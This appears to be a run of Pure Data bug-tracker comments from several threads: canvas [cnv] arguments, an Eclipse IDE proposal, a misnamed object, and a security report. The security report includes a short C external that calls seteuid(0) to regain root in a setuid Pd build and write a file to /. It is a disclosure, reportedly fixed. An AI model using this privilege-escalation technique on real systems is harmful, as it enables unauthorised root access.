Summary: update to [cnv] help to document arguments
Initial Comment:
The canvas object seems to take arguments happily enough - while I
could not find this documented, I discovered what went where by trying
"cnv a b c d e f g h..." and checking where they ended up in the
properties. This worked, but while the arguments appear in the
properties, they do not actually "show up" in the canvas until the
property
window is closed again.
I've attached a patch that demonstrates this behavior.
(I was hoping to build a "canvas generator" that would save me the
trouble of opening property windows to set dimensions or a recieve
symbol that could be used with Joao Miguel Pais's "gui-edit"
abstraction.
But the receive symbol does not start functioning until the props are
opened, then closed.)
Also, the first 3 arguments do not seem to do anything (they'd
logically
control "selectable size" and the x and y dimensions of the canvas).

this patch does not apply cleanly to anything that I tried. Please
submit
the original pd help patch rather than the diff/patch file. diffs
don't
really work with .pd files.

It would be awesome then if you updated the help file and
submitted that as a patch to the tracker. Then the rest of
us can benefit from your explorations.
You can attach an updated help file to this tracker, then
change it from a "Bug" to a "Patch".

this is, because you are using wrong arguments and not
because of a bug in [cnv].
attached is a working patch (which uses more arguments than
the original one)
there are 4 possibilities to "reverse engineer" the
arguments of an object:
1) read the help (won't help you with [cnv])
2) read the pd-list (ask! chances are high that somebody
already solved your problem)
3) read the patch (save a patch with the object as you would
like it; open the patch with a text editor; look which
arguments are used; understand what the arguments mean)
4) read the source
esp. #3 is a very simple and efficient and good way
to
discover the arguments of an object (the object usually
knows best which arguments it needs)

Hey all,
I am thinking it's about time that we have a standard profile in a
full featured IDE for developing Pd. I am thinking that Eclipse is
the best bet since it runs everywhere, it's free, and it already has
C/C++ and Tcl modes.
Has anyone worked with Pd+Eclipse at all? Anyone want to help make a
Pd project profile? I think the key idea would be to make an Eclipse
project to allow people to develop their externals wherever they
want, but make sure that the code from that project can easily
drop
into the Pd-extended build system.

the object is named [>~] instead of [~>].
apart from that it seems to be a duplication of bug-#1702883.
if the problem persists with the correct object name, please run Pd
with
"-verbose" and tell us the exact error-lines (preferably in
bug#1702883)

Summary: security vulnerability, giving root access
Initial Comment:
first configure with --enable-setuid or just chmod 4755 pd && chown
root pd, which has the same effect.
then load this external called crack.c by making a [crack] box or -lib
crack:
#include <unistd.h>
#include <stdio.h>
void crack_setup (void) {
seteuid(0);
fopen("/hax0r","w");
}
An empty file called "hax0r" appears in protected folder "/" even
though privileges have been dropped by pd upon startup.

I am pretty sure this the bug fixed by Miller's 0.40.3 and 0.39.3
releases. Please adjust if I am
wrong.

I like the idea!!
but I started to look at Eclipse very recently, still I am a newbie.
but I've seen IDEs for almost everything
running in Eclipse (I'll
start to look at the Graphical Editing Framework) its plugin API looks
very powerful
also here at work I see Eclipse is a standard de facto.
hope more devs get interested in this.
